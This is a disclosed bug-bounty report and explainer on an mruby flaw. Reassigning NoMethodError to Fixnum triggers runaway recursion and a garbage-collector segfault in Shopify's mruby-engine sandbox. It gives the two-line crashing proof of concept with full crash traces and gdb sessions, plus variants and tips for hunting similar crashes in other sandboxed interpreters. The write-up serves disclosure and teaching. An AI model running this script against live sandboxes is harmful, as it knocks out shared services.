Crash: Overwriting NoMethodError with a builtin class crashes/corrupts memory
Reassigning the NoMethodError constant to a built-in class such as Fixnum causes the error-raising code to call 'new' on a class that has no such method, triggering an infinite recursion of NoMethodError and eventually a segmentation fault or memory corruption. An attacker who can run mruby code could crash the interpreter and possibly corrupt memory.
- Triaged in 13 hours
- Fixed in 54 days
- Paid in 2 months
- Disclosed after 3 months
Uhm, while testing this I seem to have broken https://mruby.science.. Ooops, sorry about that!
Anyway, here's the bug:
Overwriting (at least, not sure about other triggers) NoMethodError with a builtin class like Fixnum or Integer leads to a rather interesting behavior. https://mruby.science didn't crash all the times (reads: it sometimes does report a MRubyEngine::EngineTimeQuotaError), but sometimes it does report the 'Application Error' page after a long time. My local sandbox behaves somewhat like this: it prints the MRubyEngine::EngineTimeQuotaError error but crashes anyway.
The root cause is that triggering the NoMethodError triggers another NoMethodError when mrb_no_method_error in error.c tries to call new on the new NoMethodError, which has no new.
PoC
NoMethodError = Fixnum
boom!
Fix
I've attached a fix similar to #186719, this time moving the NoMethodError into mrb_state
Traces
sandbox:
$ bin/sandbox new_crashes/fixnum_exception.mrb
bin/sandbox:20: [BUG] Segmentation fault at 0x0000000000000a
ruby 2.3.3p222 (2016-11-21 revision 56859) [x86_64-linux]
-- Control frame information -----------------------------------------------
c:0003 p:---- s:0010 e:000009 CFUNC :sandbox_eval
c:0002 p:0201 s:0005 E:000f78 EVAL bin/sandbox:20 [FINISH]
c:0001 p:0000 s:0002 E:000670 (none) [FINISH]
-- Ruby level backtrace information ----------------------------------------
bin/sandbox:20:in `<main>'
bin/sandbox:20:in `sandbox_eval'
-- Machine register context ------------------------------------------------
RIP: 0x00007f4ff550b25f RBP: 0x00000000000003bc RSP: 0x00007f4ff4043720
RAX: 0x00007f4ff40c0290 RBX: 0x0000000000000384 RCX: 0x00007f4ff40c2290
RDX: 0x0000000000000400 RDI: 0x00007f4ff40684e0 RSI: 0x000000000000000a
R8: 0x00007f4ff40c2070 R9: 0x00007f4ff40dcab0 R10: 0x0000000000000007
R11: 0x00007f4ff4076510 R12: 0x00007f4ff4074a10 R13: 0x00007f4ff40684e0
R14: 0x0000000000000000 R15: 0x00007f4ff5569dd2 EFL: 0x0000000000010246
-- C level backtrace information -------------------------------------------
/usr/lib/libruby.so.2.3 [0x7f4ff95cc455]
/usr/lib/libruby.so.2.3 [0x7f4ff95cc68c]
/usr/lib/libruby.so.2.3 [0x7f4ff94a6e34]
/usr/lib/libruby.so.2.3 [0x7f4ff95586ce]
/usr/lib/libc.so.6 [0x7f4ff90cc0b0]
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mark_context_stack+0x8f) [0x7f4ff550b25f] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/include/mruby/boxing_word.h:83
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(incremental_gc.part.11+0x5a2) [0x7f4ff550bd92] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:938
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_incremental_gc+0x1f3) [0x7f4ff550c3a3] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:1062
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_obj_alloc+0xfd) [0x7f4ff550cb8d] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:486
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_str_new+0x24) [0x7f4ff54e61c4] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/string.c:59
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_vformat+0x123) [0x7f4ff550db83] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:344
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_no_method_error+0x9a) [0x7f4ff550e33a] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:508
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_method_missing+0x95) [0x7f4ff54fd3b5] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1468
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_bob_missing+0x4d) [0x7f4ff54fd46d] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1513
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_funcall_with_block+0x27f) [0x7f4ff54f0c1f]
[......]
/home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:407
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_funcall_argv+0xc) [0x7f4ff54f11dc] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:424
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_funcall+0x240) [0x7f4ff54f1430] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:319
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_no_method_error+0x12d) [0x7f4ff550e3cd] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:508
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_method_missing+0x95) [0x7f4ff54fd3b5] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1468
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_bob_missing+0x4d) [0x7f4ff54fd46d] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1513
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_funcall_with_block+0x27f) [0x7f4ff54f0c1f] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:407
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_funcall_argv+0xc) [0x7f4ff54f11dc] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:424
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_funcall+0x240) bin/sandbox:20:in `sandbox_eval': exceeded quota of 100 ms. (MRubyEngine::EngineTimeQuotaError)
from bin/sandbox:20:in `<main>'
gdb:
$ gdb attach 5534
GNU gdb (GDB) 7.12
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
attach: No such file or directory.
Attaching to process 5534
Reading symbols from /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/build/host/bin/mirb...done.
Reading symbols from /usr/lib/libm.so.6...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libreadline.so.7...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libncursesw.so.6...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...(no debugging symbols found)...done.
0x00007fcacf29b131 in pselect () from /usr/lib/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
mark_context_stack (mrb=mrb@entry=0xb1e010, c=c@entry=0xb2a540) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:532
532 if (!mrb_immediate_p(v)) {
(gdb) bt
#0 mark_context_stack (mrb=mrb@entry=0xb1e010, c=c@entry=0xb2a540) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:532
#1 0x0000000000428a2c in mark_context (c=0xb2a540, mrb=0xb1e010) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:550
#2 root_scan_phase (mrb=0xb1e010, gc=0xb1e0e8) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:820
#3 0x0000000000429793 in incremental_gc (limit=18446744073709551615, gc=0xb1e0e8, mrb=0xb1e010) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:1022
#4 incremental_gc_until (to_state=<optimized out>, gc=<optimized out>, mrb=<optimized out>) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:1053
#5 mrb_incremental_gc (mrb=0xb1e010) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:1104
#6 0x0000000000429f4d in mrb_obj_alloc (mrb=mrb@entry=0xb1e010, ttype=ttype@entry=MRB_TT_STRING, cls=0xb28550) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:486
#7 0x0000000000406404 in str_new (len=0, p=0x48c0a2 "", mrb=mrb@entry=0xb1e010) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/string.c:59
#8 mrb_str_new (mrb=mrb@entry=0xb1e010, p=0x48c0a2 "", len=0) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/string.c:185
#9 0x000000000042af43 in mrb_vformat (mrb=mrb@entry=0xb1e010, format=format@entry=0x48c086 "undefined method '%S' for %S", ap=ap@entry=0x7ffe576cfe88) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:344
#10 0x000000000042b8ba in mrb_no_method_error (mrb=mrb@entry=0xb1e010, id=id@entry=11, args=..., args@entry=..., fmt=fmt@entry=0x48c086 "undefined method '%S' for %S") at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:508
#11 0x000000000041d5f5 in mrb_method_missing (mrb=mrb@entry=0xb1e010, name=11, self=self@entry=..., args=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1468
#12 0x000000000041d6ad in mrb_bob_missing (mrb=0xb1e010, mod=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1513
#13 0x0000000000410e5f in mrb_funcall_with_block (mrb=mrb@entry=0xb1e010, self=..., mid=<optimized out>, argc=<optimized out>, argc@entry=3, argv=argv@entry=0x7ffe576d01c0, blk=..., blk@entry=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:407
#14 0x000000000041141c in mrb_funcall_argv (mrb=mrb@entry=0xb1e010, self=..., self@entry=..., mid=<optimized out>, argc=argc@entry=3, argv=argv@entry=0x7ffe576d01c0) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:424
#15 0x0000000000411670 in mrb_funcall (mrb=mrb@entry=0xb1e010, self=..., name=name@entry=0x48a81f "new", argc=argc@entry=3) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:319
[......]
#1822 0x000000000042b94d in mrb_no_method_error (mrb=mrb@entry=0xb1e010, id=id@entry=11, args=args@entry=..., fmt=fmt@entry=0x48c086 "undefined method '%S' for %S") at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:508
#1823 0x000000000041d5f5 in mrb_method_missing (mrb=mrb@entry=0xb1e010, name=11, self=self@entry=..., args=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1468
#1824 0x000000000041d6ad in mrb_bob_missing (mrb=0xb1e010, mod=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1513
#1825 0x0000000000410e5f in mrb_funcall_with_block (mrb=mrb@entry=0xb1e010, self=..., mid=<optimized out>, argc=<optimized out>, argc@entry=3, argv=argv@entry=0x7ffe5771df80, blk=..., blk@entry=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:407
#1826 0x000000000041141c in mrb_funcall_argv (mrb=mrb@entry=0xb1e010, self=..., self@entry=..., mid=<optimized out>, argc=argc@entry=3, argv=argv@entry=0x7ffe5771df80) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:424
#1827 0x0000000000411670 in mrb_funcall (mrb=mrb@entry=0xb1e010, self=..., name=name@entry=0x48a81f "new", argc=argc@entry=3) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:319
#1828 0x000000000042b94d in mrb_no_method_error (mrb=mrb@entry=0xb1e010, id=id@entry=11, args=args@entry=..., fmt=fmt@entry=0x48c086 "undefined method '%S' for %S") at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:508
#1829 0x000000000041d5f5 in mrb_method_missing (mrb=mrb@entry=0xb1e010, name=11, self=self@entry=..., args=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1468
#1830 0x000000000041d6ad in mrb_bob_missing (mrb=0xb1e010, mod=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1513
#1831 0x0000000000410e5f in mrb_funcall_with_block (mrb=mrb@entry=0xb1e010, self=..., mid=<optimized out>, argc=<optimized out>, argc@entry=3, argv=argv@entry=0x7ffe5771e3a0, blk=..., blk@entry=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:407
#1832 0x000000000041141c in mrb_funcall_argv (mrb=mrb@entry=0xb1e010, self=..., self@entry=..., mid=<optimized out>, argc=argc@entry=3, argv=argv@entry=0x7ffe5771e3a0) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:424
#1833 0x0000000000411670 in mrb_funcall (mrb=mrb@entry=0xb1e010, self=..., name=name@entry=0x48a81f "new", argc=argc@entry=3) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:319
#1834 0x000000000042b94d in mrb_no_method_error (mrb=mrb@entry=0xb1e010, id=id@entry=11, args=args@entry=..., fmt=fmt@entry=0x48c086 "undefined method '%S' for %S") at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:508
#1835 0x000000000041d5f5 in mrb_method_missing (mrb=mrb@entry=0xb1e010, name=11, self=self@entry=..., args=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1468
#1836 0x000000000041d6ad in mrb_bob_missing (mrb=0xb1e010, mod=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1513
#1837 0x0000000000410e5f in mrb_funcall_with_block (mrb=mrb@entry=0xb1e010, self=..., mid=<optimized out>, argc=<optimized out>, argc@entry=3, argv=argv@entry=0x7ffe5771e7c0, blk=..., blk@entry=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:407
#1838 0x000000000041141c in mrb_funcall_argv (mrb=mrb@entry=0xb1e010, self=..., self@entry=..., mid=<optimized out>, argc=argc@entry=3, argv=argv@entry=0x7ffe5771e7c0) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:424
#1839 0x0000000000411670 in mrb_funcall (mrb=mrb@entry=0xb1e010, self=..., name=name@entry=0x48a81f "new", argc=argc@entry=3) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:319
#1840 0x000000000042b94d in mrb_no_method_error (mrb=mrb@entry=0xb1e010, id=id@entry=11, args=args@entry=..., fmt=fmt@entry=0x48c086 "undefined method '%S' for %S") at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:508
#1841 0x000000000041d5f5 in mrb_method_missing (mrb=mrb@entry=0xb1e010, name=11, self=self@entry=..., args=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1468
#1842 0x000000000041d6ad in mrb_bob_missing (mrb=0xb1e010, mod=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1513
#1843 0x0000000000410e5f in mrb_funcall_with_block (mrb=mrb@entry=0xb1e010, self=..., mid=<optimized out>, argc=<optimized out>, argc@entry=3, argv=argv@entry=0x7ffe5771ebe0, blk=..., blk@entry=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:407
#1844 0x000000000041141c in mrb_funcall_argv (mrb=mrb@entry=0xb1e010, self=..., self@entry=..., mid=<optimized out>, argc=argc@entry=3, argv=argv@entry=0x7ffe5771ebe0) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:424
#1845 0x0000000000411670 in mrb_funcall (mrb=mrb@entry=0xb1e010, self=..., name=name@entry=0x48a81f "new", argc=argc@entry=3) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:319
#1846 0x000000000042b94d in mrb_no_method_error (mrb=mrb@entry=0xb1e010, id=id@entry=627, args=args@entry=..., fmt=fmt@entry=0x48c086 "undefined method '%S' for %S") at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:508
#1847 0x000000000041d5f5 in mrb_method_missing (mrb=mrb@entry=0xb1e010, name=627, self=self@entry=..., args=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1468
#1848 0x000000000041d6ad in mrb_bob_missing (mrb=0xb1e010, mod=...) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1513
#1849 0x0000000000412d62 in mrb_vm_exec (mrb=mrb@entry=0xb1e010, proc=<optimized out>, proc@entry=0xb20e70, pc=<optimized out>) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:1165
#1850 0x0000000000418a47 in mrb_vm_run (mrb=mrb@entry=0xb1e010, proc=proc@entry=0xb20e70, self=..., stack_keep=stack_keep@entry=1) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/vm.c:766
#1851 0x0000000000402b7e in main (argc=<optimized out>, argv=<optimized out>) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:549
(gdb) info registers
rax 0xc43420 12858400
rbx 0x384 900
rcx 0xc47820 12875808
rdx 0x880 2176
rsi 0xa 10
rdi 0xb1e010 11657232
rbp 0x862 0x862
rsp 0x7ffe576cfd50 0x7ffe576cfd50
r8 0xc47730 12875568
r9 0x30 48
r10 0x7 7
r11 0xb2c040 11714624
r12 0xb2a540 11707712
r13 0xb1e010 11657232
r14 0x7ffe576cfe88 140730365181576
r15 0x48c0a2 4767906
rip 0x42861f 0x42861f <mark_context_stack+143>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
Context
Shopify Scripts ran user-supplied Ruby-like code inside an embedded mruby interpreter, packaged as the mruby-engine gem. The engine exposes a sandbox entry point (sandbox_eval) that executes a script, and a time quota raises MRubyEngine::EngineTimeQuotaError when a script runs too long. A public instance of this sandbox was reachable at https://mruby.science, where anyone could submit code.
The bug reported here is not in the sandbox wrapper but in mruby itself: the way the interpreter constructs a NoMethodError when a method is missing. By reassigning the NoMethodError constant to a builtin class, the error-raising path is driven into a recursive loop that ends in a segmentation fault.
Setup
The researcher worked against two targets:
- The public sandbox at
https://mruby.science. - A local checkout of
shopify/mruby-engine, built from source, with abin/sandboxrunner and the bundledmirbbinary undermruby/build/host/bin/mirb.
Debugging was done with gdb 7.12 on x86_64 Linux, attaching to a running mirb process. The crash traces show the host Ruby as ruby 2.3.3p222 (2016-11-21 revision 56859) [x86_64-linux].
No account, role or special privilege is described; the precondition is simply the ability to submit code to the sandbox.
Finding it
While testing the sandbox, the researcher noticed that reassigning the NoMethodError constant to a builtin class such as Fixnum or Integer produced odd behaviour. On https://mruby.science the result was not consistent: sometimes the sandbox returned an MRubyEngine::EngineTimeQuotaError, and sometimes, after a long delay, it returned the 'Application Error' page. The researcher notes having broken the live site in the process.
The local sandbox behaved in a similar way: it printed the MRubyEngine::EngineTimeQuotaError but crashed anyway. That combination, a quota error followed by a crash, is the signal that the interpreter is looping and then dying rather than being cleanly stopped.
Exploitation
Step 1: reassign the error class and call a missing method
The whole proof of concept is two lines:
NoMethodError = Fixnum
boom!
The first line rebinds the NoMethodError constant to the builtin Fixnum class. The second line calls boom!, a method that does not exist, which is what normally raises a NoMethodError.
Step 2: observe the behaviour
On the live sandbox the outcome varied between an MRubyEngine::EngineTimeQuotaError and the 'Application Error' page after a long wait. Locally, running the compiled script through the sandbox runner produced a segmentation fault in the host Ruby process:
$ bin/sandbox new_crashes/fixnum_exception.mrb
bin/sandbox:20: [BUG] Segmentation fault at 0x0000000000000a
ruby 2.3.3p222 (2016-11-21 revision 56859) [x86_64-linux]
-- Control frame information -----------------------------------------------
c:0003 p:---- s:0010 e:000009 CFUNC :sandbox_eval
c:0002 p:0201 s:0005 E:000f78 EVAL bin/sandbox:20 [FINISH]
c:0001 p:0000 s:0002 E:000670 (none) [FINISH]
-- Ruby level backtrace information ----------------------------------------
bin/sandbox:20:in `<main>'
bin/sandbox:20:in `sandbox_eval'
The C-level backtrace shows the crash inside the garbage collector, reached from string allocation during error formatting:
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mark_context_stack+0x8f) [0x7f4ff550b25f] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/include/mruby/boxing_word.h:83
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(incremental_gc.part.11+0x5a2) [0x7f4ff550bd92] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:938
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_incremental_gc+0x1f3) [0x7f4ff550c3a3] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:1062
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_obj_alloc+0xfd) [0x7f4ff550cb8d] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:486
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_str_new+0x24) [0x7f4ff54e61c4] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/string.c:59
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_vformat+0x123) [0x7f4ff550db83] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:344
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_no_method_error+0x9a) [0x7f4ff550e33a] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/error.c:508
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_method_missing+0x95) [0x7f4ff54fd3b5] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1468
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_bob_missing+0x4d) [0x7f4ff54fd46d] /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/class.c:1513
/home/simon/git/shopify/mruby-engine/lib/mruby_engine/mruby_engine.so(mrb_funcall_with_block+0x27f) [0x7f4ff54f0c1f]
The same trace repeats mrb_no_method_error calling mrb_funcall with the name new, which in turn goes through mrb_method_missing and back into mrb_no_method_error. The run ends with the quota error surfacing in the host Ruby:
bin/sandbox:20:in `sandbox_eval': exceeded quota of 100 ms. (MRubyEngine::EngineTimeQuotaError)
from bin/sandbox:20:in `<main>'
Step 3: confirm the recursion under gdb
Attaching gdb to the running mirb process and continuing showed the SIGSEGV at mark_context_stack in gc.c:532:
$ gdb attach 5534
Program received signal SIGSEGV, Segmentation fault.
mark_context_stack (mrb=mrb@entry=0xb1e010, c=c@entry=0xb2a540) at /home/simon/git/shopify/mruby-engine/ext/mruby_engine/mruby/src/gc.c:532
532 if (!mrb_immediate_p(v)) {
The backtrace makes the chain explicit. Frame 15 is mrb_funcall with name=name@entry=0x48a81f "new", called from mrb_no_method_error at error.c:508, which was reached from mrb_method_missing at class.c:1468 and mrb_bob_missing at class.c:1513. The same group of frames repeats hundreds of times, up to frame 1846, where the missing method id is 627 (the original boom! call) rather than 11 (the new call). The stack is therefore thousands of frames deep when the GC walks it and dereferences a bad value.
Root cause
When a method is missing, mrb_no_method_error in error.c builds the error by calling new on the NoMethodError class. Normally that class is the interpreter's own error class and has a new. After NoMethodError = Fixnum, the constant points at a builtin class that has no new, so the attempt to construct the error itself raises a NoMethodError. That second error is constructed the same way, which raises another, and so on. The recursion is unbounded, the stack grows until the GC's context-stack marking walks off the end of it, and the process segfaults.
The quota mechanism does not prevent this. The engine's time quota fires (the local run reports exceeded quota of 100 ms), but the crash still happens, so the quota is not a reliable guard against this path. On the live service the results were inconsistent: sometimes the quota error was returned, sometimes the process died and the 'Application Error' page was shown.
Impact
An attacker who can submit code to the sandbox can crash the interpreter process. On https://mruby.science this manifested as the 'Application Error' page after a long delay, and the researcher states the site was broken during testing. The weakness is classified as memory corruption, and the crash occurs inside the GC while marking a corrupted context stack, not merely as a clean exception. The report does not establish what else, beyond denial of service, could be achieved from the corrupted state.
Fix
The researcher attached a fix similar to an earlier change (#186719), this time moving the NoMethodError into mrb_state. The fix moves the NoMethodError into mrb_state, so the error class is kept in interpreter state rather than resolved through a user-reassignable constant.
Variants to test
- Reassign other error constants to builtin classes and trigger the corresponding error, for example
TypeError = Fixnumfollowed by an operation that raises a type error. A positive result is the same runaway recursion, a quota error followed by a crash, or a segfault in the GC. - Reassign
NoMethodErrorto other builtin classes such asInteger, as the report notes, and to classes that exist but lack the expected constructor. A positive result is the same behaviour as theFixnumcase. - Trigger the missing-method path through different call shapes (explicit receiver, block, arguments) to see whether the recursion depth or the crash point changes. A positive result is a crash at a different frame but the same repeating
mrb_no_method_error/mrb_funcall("new")pattern. - On other embedded interpreters with a time or instruction quota, submit the same two-line script and watch whether the quota error is returned cleanly or the worker still dies. A positive result is a quota error followed by a crash or an application error page.
Hunting notes
This class of bug hides in sandboxes that expose a language runtime to untrusted code and rely on a quota as the only safety net. The signal during recon is a service that evaluates user-supplied scripts and returns distinct outcomes for timeouts versus crashes: if you can make the same input alternate between a quota error and an application error page, the runtime is probably dying underneath the quota. Constants that name error classes are a good place to look, because error construction often goes through a user-visible name lookup. The researcher showed both the live service failing and a local reproduction with a full C backtrace and gdb session.
Difficulty
{"difficulty": "advanced", "difficulty_reason": "Understanding and reproducing the bug requires reading mruby C internals, interpreting GC backtraces and using gdb, even though the payload itself is two lines."}
What happened, in plain words
Shopify Scripts let people write small programs in a language called Ruby (more precisely, a tiny version of it called mruby) and ran those programs on Shopify's servers. To keep things safe, the programs ran inside a sandbox: a sealed-off area where code can be executed without being allowed to touch anything else on the machine. The sandbox was packaged as a piece of software called mruby-engine, and a public copy of it was available at https://mruby.science, where anyone could type in code and run it.
The sandbox had a time limit. If a program ran too long, the engine reported an error called MRubyEngine::EngineTimeQuotaError. Think of it like a chess clock: when your time runs out, the game stops, whatever you were doing.
The researcher found that two short lines of code could make the interpreter (the program that reads and runs the code) get stuck in an endless loop and then crash. The crash was not a polite error message: the whole process died with a segmentation fault, which is the operating system's way of saying a program tried to read or write memory it was not allowed to touch. The researcher also mentions having broken the live site at https://mruby.science while testing.
The important part: the bug was not in the sandbox wrapper (the code that sets the time limit). It was inside mruby itself, in the way it builds a particular error message when you call a method that does not exist.
Background you need
A few ideas come up again and again, so here they are from scratch.
- Interpreter: a program that reads source code and executes it directly, line by line, rather than compiling it to a separate file first. Ruby and Python work this way.
- mruby: a small, embeddable version of Ruby, designed to be built into other programs. "Embeddable" means another application can include it and let its users run Ruby-like code.
- Method: a named action you can ask an object to perform, like
puts(print) orlength. In many languages these are called functions. - Class: a blueprint for a kind of value.
FixnumandIntegerare classes for whole numbers.NoMethodErroris a class for a particular kind of error. - Constant: a name in a program that points at a fixed value, written with a capital letter, like
NoMethodError. In Ruby, constants can actually be reassigned, which is unusual and is central to this bug. - Exception / error: a signal a program raises when something goes wrong.
NoMethodErrorliterally means "you asked for a method that does not exist". new: the conventional way to create a fresh instance of a class.Fixnum.newwould try to build a new number object.- Recursion: when a function calls itself, directly or indirectly. If nothing stops it, it keeps calling itself forever, and each call uses a bit more memory (the stack). Eventually the stack runs out.
- Stack: a region of memory that grows and shrinks as functions are called and return. Each active call takes a slice of it. Too many nested calls and you run off the end.
- Segmentation fault (segfault): the operating system killing a program because it accessed memory outside its allowed region. It is a hard crash, not a catchable error.
- Garbage collector (GC): a part of the interpreter that automatically frees memory that is no longer in use. It periodically walks through all the live data to decide what can be freed. If the data structures are corrupted, the GC itself can crash.
- gdb: the GNU Debugger, a tool that lets you pause a running program, inspect its memory and see the chain of function calls (the backtrace) that led to a crash.
- Backtrace: a list of the function calls currently active, from the innermost (where the crash happened) outwards to the start of the program.
- Quota: a limit on resources, here a wall-clock time limit of 100 milliseconds per script.
The setup
The researcher worked against two targets:
- The public sandbox at
https://mruby.science, where anyone could submit code through a web page. - A local copy of the
shopify/mruby-enginesource code, built on their own machine. This included a small runner script calledbin/sandboxand a bundled interactive interpreter calledmirb("mruby interactive Ruby") located undermruby/build/host/bin/mirb.
Debugging was done with gdb version 7.12 on a 64-bit Linux machine, attaching to a running mirb process. The crash traces show the host Ruby (the normal Ruby that was running the sandbox wrapper) as ruby 2.3.3p222 (2016-11-21 revision 56859) [x86_64-linux].
